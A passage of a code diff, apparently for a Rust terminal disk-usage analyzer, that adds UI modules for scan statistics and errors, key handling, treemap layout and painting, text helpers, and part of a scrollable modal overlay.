let r = delta as f64 / base as f64;
(0.35 + r * 0.65).min(1.0)
}
+160
View File
@@ -0,0 +1,160 @@
//! The scan information view: statistics and the error list.
use super::canvas::{Canvas, Style, BOLD};
use super::model::{Cmd, Model};
use super::table::{col, Table, TableRow};
use super::{san, si_units};
use crate::inventory::{ErrKind, Tree, FLAG_ALLOC_UNKNOWN};
use crate::textutil;
use crate::treemap::Rect;
#[derive(Default)]
pub(crate) struct InfoView {
pub tb: Table,
}
impl InfoView {
pub fn focus_errors(&mut self) {
self.tb.cursor = 0;
}
pub fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = m.theme.clone();
cv.fill(r, " ", t.base());
let st = &tr.stats;
let root = tr.node(0);
let lw = if r.w < 100 { r.w - 2 } else { 52.min(r.w / 2) };
let mut y = r.y + 1;
let x = r.x + 2;
let label = Style::new(t.muted, t.bg);
let value = Style::new(t.fg, t.bg).with(BOLD);
let line = |cv: &mut Canvas, y: &mut i32, k: &str, val: &str, vs: Style| {
if *y >= r.y + r.h {
return;
}
cv.text(x, *y, k, 20, label);
cv.text(x + 20, *y, val, lw - 20, vs);
*y += 1;
};
let head = |cv: &mut Canvas, y: &mut i32, s: &str| {
if *y >= r.y + r.h - 1 {
return;
}
*y += 1;
cv.text(x, *y, s, lw, Style::new(t.accent, t.bg).with(BOLD));
*y += 1;
};
let (state, mut state_st) = ("Complete", Style::new(t.ok, t.bg).with(BOLD));
let state = if m.scanning {
state_st.fg = t.accent;
"Scanning…"
} else if st.cancelled {
state_st.fg = t.warn;
"Cancelled — totals incomplete"
} else if st.incomplete() {
state_st.fg = t.warn;
"Complete, with unreadable areas"
} else {
state
};
cv.text(x, y, "SCAN INFORMATION", lw, Style::new(t.accent, t.bg).with(BOLD));
y += 1;
line(cv, &mut y, "Root", &san(&st.root), value);
line(cv, &mut y, "State", state, state_st);
if !st.from_snapshot.is_empty() {
line(cv, &mut y, "Snapshot", &textutil::sanitize(&st.from_snapshot), value);
}
let files = st.files + st.symlinks + st.others;
line(cv, &mut y, "Items scanned", &textutil::count(files + st.dirs), value);
line(cv, &mut y, " Files", &textutil::count(st.files), value);
line(cv, &mut y, " Directories", &textutil::count(st.dirs), value);
line(cv, &mut y, " Symlinks", &textutil::count(st.symlinks), value);
line(cv, &mut y, " Special", &textutil::count(st.others), value);
line(cv, &mut y, "Logical size", &format!("{} ({} bytes)", textutil::size(root.tot_size), textutil::count(root.tot_size)), value);
line(cv, &mut y, "Allocated size", &format!("{} ({} bytes)", textutil::size(root.tot_alloc), textutil::count(root.tot_alloc)), value);
let el = st.elapsed();
if st.from_snapshot.is_empty() {
line(cv, &mut y, "Elapsed", &textutil::duration(el), value);
let rate = (files + st.dirs) as f64 / el.as_secs_f64().max(0.001);
line(cv, &mut y, "Rate", &(textutil::count(rate as i64) + " items/s"), value);
let cpus = std::thread::available_parallelism().map_or(1, |n| n.get());
line(cv, &mut y, "Workers", &format!("{} ({} CPUs)", st.workers, cpus), value);
}
head(cv, &mut y, "ERRORS AND OMISSIONS");
let mut any_issue = false;
for (k, &c) in st.err_counts.iter().enumerate() {
if c > 0 {
line(cv, &mut y, ErrKind::from_u8(k as u8).name(), &textutil::count(c), Style::new(t.err, t.bg).with(BOLD));
any_issue = true;
}
}
for (k, v) in [("Unscanned dirs", st.unscanned), ("Excluded", st.excluded), ("Other FS skipped", st.skipped_mounts),
("Virtual FS skipped", st.virtual_skipped), ("Loops skipped", st.loops_skipped), ("Broken symlinks", st.broken_links),
("Hard-link dups", st.hardlink_dups)]
{
if v > 0 {
line(cv, &mut y, k, &textutil::count(v), Style::new(t.warn, t.bg).with(BOLD));
any_issue = true;
}
}
if !any_issue {
line(cv, &mut y, "None", "every entry was read", Style::new(t.ok, t.bg));
}
head(cv, &mut y, "OPTIONS");
let excl = if st.excludes.is_empty() { "none".to_string() } else { textutil::sanitize(&st.excludes.join(", ")) };
line(cv, &mut y, "Exclusions", &excl, value);
line(cv, &mut y, "One filesystem", &st.one_file_system.to_string(), value);
line(cv, &mut y, "Follow symlinks", &textutil::sanitize(&st.follow), value);
line(cv, &mut y, "Size mode", m.size_mode.name(), value);
line(cv, &mut y, "Units", if si_units() { "SI (1000)" } else { "IEC (1024)" }, value);
if root.has(FLAG_ALLOC_UNKNOWN) {
line(cv, &mut y, "Note", "allocated size unavailable on this platform", Style::new(t.warn, t.bg));
}
// Error list on the right (or below in narrow terminals).
let er = if r.w < 100 {
Rect { x: r.x, y: y + 1, w: r.w, h: r.y + r.h - y - 1 }
} else {
Rect { x: r.x + lw + 4, y: r.y, w: r.w - lw - 4, h: r.h }
};
if er.w < 30 || er.h < 4 {
return;
}
let rows: Vec<TableRow> = st
.errors
.iter()
.map(|e| {
let mut p = tr.path_bytes(e.node);
if !e.name.is_empty() {
p.push(b'/');
p.extend_from_slice(&e.name);
}
TableRow {
cells: vec![e.kind.name().into(), san(&p), textutil::sanitize(&e.msg)],
styles: vec![Some(Style::new(t.err, t.bg)), None, Some(Style::new(t.muted, t.bg))],
bar: -1.0,
..Default::default()
}
})
.collect();
let mut title = format!("ERROR LIST ({})", textutil::count(st.total_errors()));
if (st.errors.len() as i64) < st.total_errors() {
title += &format!(" — first {} shown", textutil::count(st.errors.len() as i64));
}
let cols = [col("KIND", 18, false, false), col("PATH", 0, false, true), col("DETAIL", 22, false, false)];
self.tb.paint(m, cv, er, &cols, &rows, &title);
}
pub fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
let errs = &tr.stats.errors;
if self.tb.key(k, errs.len()) {
return (true, Cmd::None);
}
if self.tb.at() < errs.len() && (k == "enter" || k == "space") {
m.jump_to(tr, errs[self.tb.at()].node);
return (true, Cmd::None);
}
(false, Cmd::None)
}
}
+228
View File
@@ -0,0 +1,228 @@
//! Key dispatch and the actions keys trigger.
use super::model::{is_group, Cmd, Key, Model, Msg};
use super::modals::{new_group_modal, new_help_modal, new_info_modal, new_save_modal};
use super::theme::{load_theme, theme_names};
use super::views::View;
use super::{fmt_stamp_now, san};
use crate::brand;
use crate::inventory::{NodeId, SizeMode, Tree, NO_NODE};
use crate::platform;
use crate::snapshot;
use crate::textutil;
use std::ffi::OsStr;
use std::os::unix::ffi::OsStrExt;
use std::path::Path;
use std::rc::Rc;
impl Model {
/// Dispatches a key press. It holds the tree read lock for the whole
/// handler; helpers it calls must not lock again (a recursive read lock
/// can deadlock against a waiting writer).
pub fn handle_key(&mut self, key: &Key) -> Cmd {
let k = key.name.as_str();
if k == "ctrl+c" {
return self.ctrl_c_pressed();
}
let arc = self.tree.clone();
let tr = arc.read().unwrap();
self.ensure_selection(&tr);
if !self.modals.is_empty() {
return self.modal_key(&tr, key);
}
if self.search.editing {
return self.search_key(key);
}
let (handled, cmd) = self.view_key(&tr, k);
if handled {
return cmd;
}
match k {
"q" => self.quit = true,
"?" | "f1" => {
let md = new_help_modal();
self.open_modal(md);
}
"/" => self.search.begin(),
"esc" => {
if self.search.query.is_some() {
self.clear_filter();
} else if self.zoom != 0 {
self.zoom_out(&tr);
}
}
"tab" => self.set_view((self.view + 1) % self.views.len()),
"shift+tab" => self.set_view((self.view + self.views.len() - 1) % self.views.len()),
"1" | "2" | "3" | "4" | "5" | "6" | "7" => self.set_view((k.as_bytes()[0] - b'1') as usize),
"enter" => return self.inspect_selection(&tr),
"space" | "right" => return self.zoom_into_selection(&tr),
"backspace" | "left" => self.zoom_out(&tr),
"home" => self.zoom_to(&tr, 0),
"a" => {
self.size_mode = if self.size_mode == SizeMode::Allocated { SizeMode::Logical } else { SizeMode::Allocated };
self.invalidate();
let mut cmds = Vec::new();
if self.search.query.is_some() {
cmds.push(self.apply_filter());
}
let msg = format!("Sizing by {} size", self.size_mode.name());
cmds.push(self.info(msg));
return Cmd::batch(cmds);
}
"r" => return self.rescan(&tr),
"s" => {
let md = new_save_modal(&tr);
self.open_modal(md);
}
"e" => {
self.set_view_by_name("Scan");
if let View::Info(v) = &mut self.views[self.view] {
v.focus_errors();
}
}
"x" => self.set_view_by_name("Types"),
"g" => self.set_view_by_name("Top"),
"D" => return self.start_duplicates(),
"c" => return self.copy_selected(&tr),
"o" => return self.reveal(&tr),
"d" | "delete" => return self.request_trash(&tr),
"T" => {
let names = theme_names();
let cur = names.iter().position(|n| *n == self.theme.name).unwrap_or(0);
let ascii = self.theme.ascii;
let mut th = load_theme(names[(cur + 1) % names.len()], &self.opts.settings);
th.ascii = ascii;
self.theme = Rc::new(th);
let msg = format!("Theme: {}", self.theme.name);
return self.info(msg);
}
_ => {}
}
Cmd::None
}
pub fn inspect_selection(&mut self, tr: &Tree) -> Cmd {
if is_group(self.sel) {
if let Some(g) = self.group_info(self.sel) {
self.open_modal(new_group_modal(g));
}
return Cmd::None;
}
let id = self.selected_node(tr);
if id != NO_NODE {
let md = new_info_modal(self, tr, id);
self.open_modal(md);
}
Cmd::None
}
pub fn zoom_into_selection(&mut self, tr: &Tree) -> Cmd {
if is_group(self.sel) {
// Groups cannot be zoomed: show their members in the list view.
if let Some(g) = self.group_info(self.sel) {
if let Some(&first) = g.ids().first() {
self.sel = first as i64;
self.set_view_by_name("List");
}
}
return Cmd::None;
}
let id = self.selected_node(tr);
if id == NO_NODE {
return Cmd::None;
}
if !tr.node(id).is_dir() {
return self.info("Not a directory — Enter shows details");
}
if self.kids_of(tr, id).ids.is_empty() {
return self.info("Directory is empty");
}
self.zoom_to(tr, id);
Cmd::None
}
pub fn zoom_out(&mut self, tr: &Tree) {
let p = tr.node(self.zoom).parent;
if p != NO_NODE {
self.zoom_to(tr, p);
}
}
/// Zooms to a node's parent directory and selects it.
pub fn jump_to(&mut self, tr: &Tree, id: NodeId) {
let p = tr.node(id).parent;
if p == NO_NODE {
self.zoom_to(tr, id);
return;
}
self.zoom_to(tr, p);
self.sel = id as i64;
self.set_view_by_name("Map");
}
fn copy_selected(&mut self, tr: &Tree) -> Cmd {
let id = self.selected_node(tr);
if id == NO_NODE {
return Cmd::None;
}
self.copy_path(&tr.path_bytes(id))
}
/// Puts p on the clipboard (OSC 52). Paths that would not survive
/// display unchanged are refused: a newline in a hostile filename runs
/// commands when pasted into a shell, and bidi controls disguise them.
pub fn copy_path(&mut self, p: &[u8]) -> Cmd {
let s = san(p);
if s.as_bytes() != p {
return self.warn("Not copied: path contains control or bidi characters");
}
let i = self.info("Copied path to clipboard (OSC 52)");
Cmd::batch(vec![Cmd::Clipboard(s), i])
}
pub fn reveal(&mut self, tr: &Tree) -> Cmd {
if self.snapshot {
return self.warn("Snapshot — the files may not exist on this machine");
}
let id = self.selected_node(tr);
if id == NO_NODE {
return Cmd::None;
}
if platform::headless() {
// No file manager: show the folder in the map instead.
if tr.node(id).is_dir() && !self.kids_of(tr, id).ids.is_empty() {
self.zoom_to(tr, id);
self.set_view_by_name("Map");
} else {
self.jump_to(tr, id);
}
let msg = format!("Showing {}", san(&tr.path_bytes(self.zoom)));
return self.info(msg);
}
if let Err(e) = platform::reveal(&tr.path(id)) {
return self.warn(format!("Open failed: {}", textutil::sanitize(&e.to_string())));
}
self.info("Opened in file manager")
}
pub fn save_snapshot(&mut self, path: String) -> Cmd {
let t = self.tree.clone();
Cmd::run(move || {
let err = {
let g = t.read().unwrap();
snapshot::save_file(Path::new(&path), &g).err().map(|e| e.to_string())
};
Msg::SaveDone { path, err }
})
}
}
pub(crate) fn default_snapshot_name(root: &[u8]) -> String {
let p = Path::new(OsStr::from_bytes(root));
let base = match p.file_name() {
Some(b) => String::from_utf8_lossy(b.as_bytes()).into_owned(),
None => "root".into(),
};
let wd = std::env::current_dir().unwrap_or_default();
wd.join(format!("{base}-{}{}", fmt_stamp_now(), brand::SNAPSHOT_EXT)).to_string_lossy().into_owned()
}
+383
View File
@@ -0,0 +1,383 @@
//! The treemap view: layout with level-of-detail grouping, nested previews
//! inside directories, painting and spatial navigation.
use super::canvas::{rgb, Canvas, Style, BOLD, BOX_ROUND, FAINT};
use super::data::Kids;
use super::model::{group_id, is_group, Cmd, Hit, HitAct, Model};
use super::render::kind_label;
use super::{san, trunc, tw};
use crate::inventory::{NodeId, Tree, NO_NODE};
use crate::textutil;
use crate::treemap::{self, Block, Direction, Item, Rect};
use std::collections::{HashMap, HashSet};
use std::rc::Rc;
/// The treemap geometry for one (zoom, rect, data version). It is recomputed
/// from scratch whenever any of those change — after a resize the layout
/// algorithm runs again for the new rectangle rather than scaling the old
/// one.
pub(crate) struct TmLayout {
pub zoom: NodeId,
pub rect: Rect,
pub ver: u64,
pub blocks: Vec<Block>, // top level: navigable
pub nested: Vec<Nested>, // previews inside directories: drawn only
pub groups: HashMap<i64, Group>,
pub visible: HashSet<i64>,
pub inner: HashSet<i64>, // top-level blocks with nested previews
}
#[derive(Clone, Copy)]
pub(crate) struct Nested {
pub id: i64,
pub r: Rect,
pub depth: i32,
pub alt: bool,
pub inner: bool, // has nested children drawn inside it
}
/// An LOD group: the children of parent from index `from` on.
#[derive(Clone)]
pub(crate) struct Group {
pub parent: NodeId,
kids: Rc<Kids>,
from: usize,
pub size: i64,
}
impl Group {
pub fn ids(&self) -> &[NodeId] {
&self.kids.ids[self.from..]
}
}
// LOD parameters.
pub(crate) const TOP_MIN_AREA: i32 = 12; // cells: room for a 4×3 framed block
const TOP_MAX_ITEMS: usize = 400;
const NEST_MIN_AREA: i32 = 3;
const NEST_MAX_ITEMS: usize = 120;
const MAX_NEST_DEPTH: i32 = 8; // block-size thresholds stop recursion long before this
const NEST_MIN_W: i32 = 4;
const NEST_MIN_H: i32 = 2;
const NEST_RECURSE_W: i32 = 14;
const NEST_RECURSE_H: i32 = 5;
impl Model {
pub fn layout_treemap(&mut self, tr: &Tree, r: Rect) -> Rc<TmLayout> {
if let Some(l) = &self.tm {
if l.zoom == self.zoom && l.rect == r && l.ver == self.data_ver {
return l.clone();
}
}
let mut l = TmLayout {
zoom: self.zoom, rect: r, ver: self.data_ver, blocks: Vec::new(), nested: Vec::new(),
groups: HashMap::new(), visible: HashSet::new(), inner: HashSet::new(),
};
l.blocks = self.layout_level(tr, &mut l, self.zoom, r, TOP_MIN_AREA, TOP_MAX_ITEMS);
for i in 0..l.blocks.len() {
let b = l.blocks[i];
l.visible.insert(b.id);
if b.id < 0 || b.rect.w < 3 || b.rect.h < 2 {
continue;
}
if tr.node(b.id as NodeId).is_dir() {
let inn = b.rect.inset(1);
if inn.w >= NEST_MIN_W && inn.h >= NEST_MIN_H {
let before = l.nested.len();
let end = self.chain_end(tr, b.id as NodeId);
self.layout_nested(tr, &mut l, end, inn, 2);
if l.nested.len() > before {
l.inner.insert(b.id);
}
}
}
}
let l = Rc::new(l);
self.tm = Some(l.clone());
l
}
/// Lays out the children of parent in r with level-of-detail grouping:
/// children too small to be useful collapse into one group block.
fn layout_level(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, min_area: i32, max_items: usize) -> Vec<Block> {
let k = self.kids_of(tr, parent);
if k.ids.is_empty() || r.empty() {
return Vec::new();
}
let sizes: Vec<f64> = k.sizes.iter().map(|&s| s as f64).collect();
let vis = treemap::visible(&sizes, k.total as f64, r.area(), min_area, max_items);
let mut items: Vec<Item> = (0..vis).map(|i| Item { id: k.ids[i] as i64, size: sizes[i] }).collect();
if vis < k.ids.len() {
let size = k.sizes[vis..].iter().sum();
let gid = group_id(parent);
l.groups.insert(gid, Group { parent, kids: k.clone(), from: vis, size });
items.push(Item { id: gid, size: size as f64 });
}
treemap::squarify(&items, r)
}
fn layout_nested(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, depth: i32) {
// Deeper levels need bigger blocks to stay legible rather than noisy.
let blocks = self.layout_level(tr, l, parent, r, NEST_MIN_AREA * (depth - 1), NEST_MAX_ITEMS);
for (i, b) in blocks.iter().enumerate() {
let idx = l.nested.len();
l.nested.push(Nested { id: b.id, r: b.rect, depth, alt: i % 2 == 1, inner: false });
let br = b.rect;
if depth < MAX_NEST_DEPTH && b.id >= 0 && br.w >= NEST_RECURSE_W && br.h >= NEST_RECURSE_H && tr.node(b.id as NodeId).is_dir() {
l.nested[idx].inner = true;
let end = self.chain_end(tr, b.id as NodeId);
self.layout_nested(tr, l, end, Rect { x: br.x, y: br.y + 1, w: br.w - 1, h: br.h - 2 }, depth + 1);
}
}
}
/// Follows directories whose only non-empty child is a directory
/// (mnt → raid → media), so nesting spends its space on the level that
/// actually branches instead of on full-size wrappers.
pub fn chain_end(&mut self, tr: &Tree, mut id: NodeId) -> NodeId {
loop {
let k = self.kids_of(tr, id);
if k.ids.len() != 1 || !tr.node(k.ids[0]).is_dir() {
return id;
}
id = k.ids[0];
}
}
/// The LOD group for a group ID in the current layout.
pub fn group_info(&self, id: i64) -> Option<Group> {
self.tm.as_ref()?.groups.get(&id).cloned()
}
/// A sanitised display name for a block.
pub fn block_name(&mut self, tr: &Tree, id: i64) -> String {
if is_group(id) {
return match self.group_info(id) {
Some(g) => textutil::count(g.ids().len() as i64) + " smaller items",
None => "smaller items".into(),
};
}
let mut nid = id as NodeId;
let n = tr.node(nid);
let mut name = san(&n.name);
if n.is_dir() && nid != 0 {
name.push('/');
let end = self.chain_end(tr, nid);
while nid != end {
nid = self.kids_of(tr, nid).ids[0];
name += &san(&tr.node(nid).name);
name.push('/');
}
}
name
}
fn block_size(&self, tr: &Tree, id: i64) -> i64 {
if is_group(id) {
return self.group_info(id).map_or(0, |g| g.size);
}
self.size_of(tr, id as NodeId)
}
/// The size of the folder a block sits in.
fn parent_size(&self, tr: &Tree, id: i64) -> i64 {
if is_group(id) {
return self.group_info(id).map_or(0, |g| self.size_of(tr, g.parent));
}
let p = tr.node(id as NodeId).parent;
if p != NO_NODE {
return self.size_of(tr, p);
}
0
}
fn paint_top(&mut self, tr: &Tree, cv: &mut Canvas, b: Block, sel: bool, hov: bool, total: i64) {
let t = self.theme.clone();
let base = self.color_of(tr, b.id);
let fill = base.mix(t.bg, 0.62);
let fill_ch = if !is_group(b.id) {
" "
} else if t.ascii {
"."
} else {
"░"
};
let name = self.block_name(tr, b.id);
let size = self.block_size(tr, b.id);
let r = b.rect;
if r.w < 3 || r.h < 2 {
// Too small for a frame: a solid tile.
let mut st = Style::new(base, base.mix(t.bg, 0.3));
let mut ch = fill_ch;
if sel {
st = Style::new(t.text_on(t.sel), t.sel).with(BOLD | self.mono_rev());
ch = if t.ascii { "#" } else { "◆" };
} else if t.mono {
ch = "▒";
}
cv.fill(r, " ", st);
cv.text(r.x + (r.w - 1) / 2, r.y + (r.h - 1) / 2, ch, 1, st);
return;
}
cv.fill(r, fill_ch, Style::new(base.mix(t.bg, 0.35), fill));
let mut frame = Style::new(base.mix(t.bg, 0.15), fill);
let mut bx = t.box_chars();
let mut title = Style::new(base.mix(rgb(255, 255, 255), 0.35), fill).with(BOLD);
if sel {
bx = t.sel_box();
frame = Style::new(t.sel, fill).with(BOLD);
title = Style::new(t.text_on(t.sel), t.sel).with(BOLD | self.mono_rev());
} else if hov {
frame.fg = base.mix(rgb(255, 255, 255), 0.5);
}
if t.mono && !sel {
title.attr = BOLD;
}
cv.draw_box(r, bx, frame);
cv.text(r.x + 1, r.y, &trunc(&format!(" {name} "), r.w - 2), r.w - 2, title);
let mut label = textutil::size(size);
let pct = textutil::percent(size, total);
if r.w - 2 >= tw(&label) + tw(&pct) + 5 {
label += &format!(" · {pct}");
} else if r.w - 2 < tw(&label) + 2 {
label = textutil::size_compact(size);
}
let label = format!(" {label} ");
if r.h >= 3 && tw(&label) <= r.w - 2 {
cv.text_right(r.x + 1, r.y + r.h - 1, r.w - 2, &label, Style { fg: frame.fg, bg: fill, attr: frame.attr });
}
// Interior labels for blocks without nested previews.
let inn = r.inset(1);
if inn.empty() || self.has_nested(b.id) {
return;
}
let mut lines = Vec::new();
if !is_group(b.id) {
let nd = tr.node(b.id as NodeId);
if !nd.is_dir() {
lines.push(kind_label(nd));
} else if nd.files > 0 {
lines.push(textutil::count(nd.files as i64) + " files");
}
}
if r.h < 4 || inn.w < 6 {
return;
}
let y0 = inn.y + (inn.h - lines.len() as i32) / 2;
for (i, s) in lines.iter().enumerate() {
cv.text_centered(inn.x, y0 + i as i32, inn.w, s, Style::new(base.mix(t.fg, 0.4), fill));
}
}
fn has_nested(&self, id: i64) -> bool {
self.tm.as_ref().is_some_and(|l| l.inner.contains(&id))
}
fn paint_nested(&mut self, tr: &Tree, cv: &mut Canvas, nb: &Nested) {
let t = self.theme.clone();
let base = self.color_of(tr, nb.id);
let mut f = (0.38 - 0.1 * (nb.depth - 2) as f64).max(0.1);
if nb.alt {
f += 0.07;
}
let bg = base.mix(t.bg, f);
let shadow = bg.mix(rgb(0, 0, 0), 0.45);
let mut st = Style::new(t.text_on(bg), bg);
let mut ch = " ";
if is_group(nb.id) {
ch = if t.ascii { "." } else { "░" };
st.fg = bg.mix(t.fg, 0.25);
}
let r = nb.r;
cv.fill(r, ch, st);
if t.mono {
// No colour: draw a light outline so neighbours stay distinguishable.
if r.w >= 2 && r.h >= 2 {
cv.draw_box(r, BOX_ROUND, Style::default().with(FAINT));
}
} else {
if r.w >= 4 {
cv.fill(Rect { x: r.x + r.w - 1, y: r.y, w: 1, h: r.h }, " ", Style::new(Default::default(), shadow));
}
if r.h >= 3 {
cv.fill(Rect { x: r.x, y: r.y + r.h - 1, w: r.w, h: 1 }, " ", Style::new(Default::default(), shadow));
}
}
let lw = if t.mono { r.w - 2 } else { r.w - 1 };
if lw < 5 {
return;
}
let lx = if t.mono { r.x + 1 } else { r.x };
let ly = if t.mono && r.h >= 3 { r.y + 1 } else { r.y };
let name = self.block_name(tr, nb.id);
if tw(&name) > lw && lw < 8 {
return; // a stub like "te…" is noise, not information
}
cv.text(lx, ly, &trunc(&name, lw), lw, Style::new(st.fg, bg).with(BOLD));
if !nb.inner && r.h >= 3 && lw >= 5 {
let size = self.block_size(tr, nb.id);
let mut label = textutil::size_compact(size);
let pct = textutil::percent(size, self.parent_size(tr, nb.id));
if tw(&label) + tw(&pct) + 3 <= lw {
label += &format!(" · {pct}");
}
cv.text(lx, ly + 1, &trunc(&label, lw), lw, Style::new(bg.mix(st.fg, 0.7), bg));
}
}
}
pub(crate) fn map_paint(m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = m.theme.clone();
let l = m.layout_treemap(tr, r);
if l.blocks.is_empty() {
let z = tr.node(m.zoom);
let msg = if m.search.query.is_some() {
"No matches here — Esc clears the filter".to_string()
} else if m.scanning {
"Scanning…".to_string()
} else if !z.is_dir() {
format!("{} — {}", san(&z.name), textutil::size(m.size_of(tr, m.zoom)))
} else {
"Empty directory".to_string()
};
cv.text_centered(r.x, r.y + r.h / 2, r.w, &msg, t.muted());
return;
}
let sel = m.visible_sel(&l.visible);
let total = m.size_of(tr, m.zoom);
for b in &l.blocks {
let hov = b.id == m.hover;
m.paint_top(tr, cv, *b, b.id == sel, hov, total);
}
for nb in &l.nested {
m.paint_nested(tr, cv, nb);
}
for b in &l.blocks {
m.hits.push(Hit { r: b.rect, act: HitAct::Block(b.id) });
}
}
pub(crate) fn map_key(m: &mut Model, k: &str) -> (bool, Cmd) {
let d = match k {
"left" | "h" => Direction::Left,
"right" | "l" => Direction::Right,
"up" | "k" => Direction::Up,
"down" | "j" => Direction::Down,
_ => return (false, Cmd::None),
};
if let Some(l) = m.tm.clone() {
if let Some(id) = treemap::neighbour(&l.blocks, m.visible_sel(&l.visible), d) {
m.sel = id;
}
}
(true, Cmd::None)
}
pub(crate) fn map_wheel(m: &mut Model, tr: &Tree, up: bool) -> Cmd {
if up {
return m.zoom_into_selection(tr);
}
m.zoom_out(tr);
Cmd::None
}
+88
View File
@@ -0,0 +1,88 @@
//! The interactive terminal interface. All drawing goes to a Canvas; the
//! event loop (run.rs) only transports the finished frame to the terminal.
mod actions;
pub mod bench;
mod canvas;
mod color256;
mod data;
mod infoview;
mod keys;
mod mapview;
mod modal;
mod modals;
mod model;
mod mouse;
mod render;
mod run;
mod search;
mod side;
mod table;
mod theme;
mod views;
#[cfg(test)]
mod tests;
pub use model::{Options, StartFn};
pub use run::run;
use crate::textutil;
// Width-aware text helpers taking the canvas's signed cell counts.
pub(crate) fn tw(s: &str) -> i32 {
textutil::width(s) as i32
}
pub(crate) fn trunc(s: &str, w: i32) -> String {
textutil::truncate(s, w.max(0) as usize)
}
pub(crate) fn trunc_left(s: &str, w: i32) -> String {
textutil::truncate_left(s, w.max(0) as usize)
}
pub(crate) fn pad_left(s: &str, w: i32) -> String {
textutil::pad_left(s, w.max(0) as usize)
}
pub(crate) fn pad_right(s: &str, w: i32) -> String {
textutil::pad_right(s, w.max(0) as usize)
}
pub(crate) fn san(b: &[u8]) -> String {
textutil::sanitize_bytes(b)
}
/// Whether decimal (SI) units are selected. textutil keeps the switch
/// private, so it is inferred from the formatting.
pub(crate) fn si_units() -> bool {
textutil::size(1000).ends_with("kB")
}
fn local_tm(unix_nanos: i64) -> libc::tm {
let secs = unix_nanos.div_euclid(1_000_000_000) as libc::time_t;
let mut tm: libc::tm = unsafe { std::mem::zeroed() };
unsafe { libc::localtime_r(&secs, &mut tm) };
tm
}
/// Formats a timestamp as a local date ("2006-01-02").
pub(crate) fn fmt_date(unix_nanos: i64) -> String {
let t = local_tm(unix_nanos);
format!("{:04}-{:02}-{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday)
}
/// Formats a timestamp as local date and time ("2006-01-02 15:04:05").
pub(crate) fn fmt_time(unix_nanos: i64) -> String {
let t = local_tm(unix_nanos);
format!("{:04}-{:02}-{:02} {:02}:{:02}:{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
}
/// The current local time as "20060102-1504".
pub(crate) fn fmt_stamp_now() -> String {
let now = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap_or_default();
let t = local_tm(now.as_nanos() as i64);
format!("{:04}{:02}{:02}-{:02}{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, t.tm_hour, t.tm_min)
}
+229
View File
@@ -0,0 +1,229 @@
//! The generic modal frame: a centred, clamped, scrollable overlay.
use super::canvas::{rgb, Canvas, Style, BOLD, BOX_ASCII, BOX_ROUND, FAINT};
use super::model::{Cmd, Hit, HitAct, Key, Model};
use super::pad_right;
use super::search::LineEditor;
use crate::inventory::Tree;
use crate::textutil;
use crate::treemap::Rect;
/// A run of styled text; a line is a list of spans.
pub(crate) struct Span {
pub s: String,
pub st: Option<Style>, // None = modal default
}
pub(crate) type Line = Vec<Span>;
pub(crate) fn txt(s: impl Into<String>) -> Line {
vec![Span { s: s.into(), st: None }]
}
pub(crate) fn styled(s: impl Into<String>, st: Style) -> Line {
vec![Span { s: s.into(), st: Some(st) }]
}
pub(crate) fn kv(k: &str, v: impl Into<String>, kst: Style, vst: Style) -> Line {
vec![Span { s: pad_right(k, 18), st: Some(kst) }, Span { s: v.into(), st: Some(vst) }]
}
/// An overlay. Modals receive all keys while open; Esc always closes them
/// (handled by the frame before the modal sees it, unless the modal is
/// editing text).
pub(crate) trait Modal {
fn title(&self) -> String;
/// Rebuilt every frame, so resizes reflow.
fn content(&self, m: &mut Model, tr: &Tree, width: i32) -> Vec<Line>;
fn footer(&self, m: &Model) -> String;
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd);
/// Preferred inner width.
fn width(&self) -> i32;
/// Modals that consume printable keys return their editor.
fn editor(&mut self) -> Option<&mut LineEditor> {
None
}
}
/// Wraps a modal with scroll state.
pub(crate) struct ModalFrame {
pub md: Box<dyn Modal>,
pub scroll: i32,
pub view_h: i32, // content rows visible in the last paint
pub content_n: i32,
}
impl ModalFrame {
pub fn clamp_scroll(&mut self) {
self.scroll = 0.max(self.scroll.min(self.content_n - self.view_h));
}
}
impl Model {
pub fn open_modal(&mut self, md: Box<dyn Modal>) {
self.modals.push(ModalFrame { md, scroll: 0, view_h: 0, content_n: 0 });
self.dirty = true;
}
pub fn close_modal(&mut self) {
self.modals.pop();
self.dirty = true;
}
pub fn modal_key(&mut self, tr: &Tree, key: &Key) -> Cmd {
let k = key.name.as_str();
let idx = self.modals.len() - 1;
let editing = self.modals[idx].md.editor().is_some();
if editing && k != "esc" && k != "enter" {
if let Some(ed) = self.modals[idx].md.editor() {
ed.key(key);
}
return Cmd::None;
}
if !editing {
let f = &mut self.modals[idx];
let page = (f.view_h - 1).max(1);
let scrolled = match k {
"esc" | "q" => {
self.close_modal();
return Cmd::None;
}
"up" | "k" => Some(f.scroll - 1),
"down" | "j" => Some(f.scroll + 1),
"pgup" => Some(f.scroll - page),
"pgdown" | "space" => Some(f.scroll + page),
"home" => Some(0),
"end" => Some(f.content_n),
_ => None,
};
if let Some(s) = scrolled {
f.scroll = s;
f.clamp_scroll();
return Cmd::None;
}
}
// Modal-specific keys. The frame is taken out while the modal runs;
// if it opens another modal, that one stacks above it.
let mut f = self.modals.remove(idx);
let (close, cmd) = f.md.key(self, tr, k);
if close {
self.dirty = true;
} else {
self.modals.insert(idx.min(self.modals.len()), f);
}
cmd
}
/// Dims the base screen and draws the top modal centred, clamped to the
/// terminal with a one-cell margin. Content that does not fit scrolls.
pub fn paint_modal(&mut self, tr: &Tree, cv: &mut Canvas) {
let t = self.theme.clone();
// Dim everything underneath.
cv.restyle(Rect { x: 0, y: 0, w: cv.w, h: cv.h }, |mut s| {
if t.mono {
s.attr |= FAINT;
return s;
}
s.fg = s.fg.mix(t.bg, 0.6);
s.bg = s.bg.mix(rgb(0, 0, 0), 0.45);
s.attr &= !BOLD;
s
});
let mut f = self.modals.pop().unwrap();
let max_w = cv.w - 2;
let w = (f.md.width() + 4).min(max_w).max(30.min(max_w));
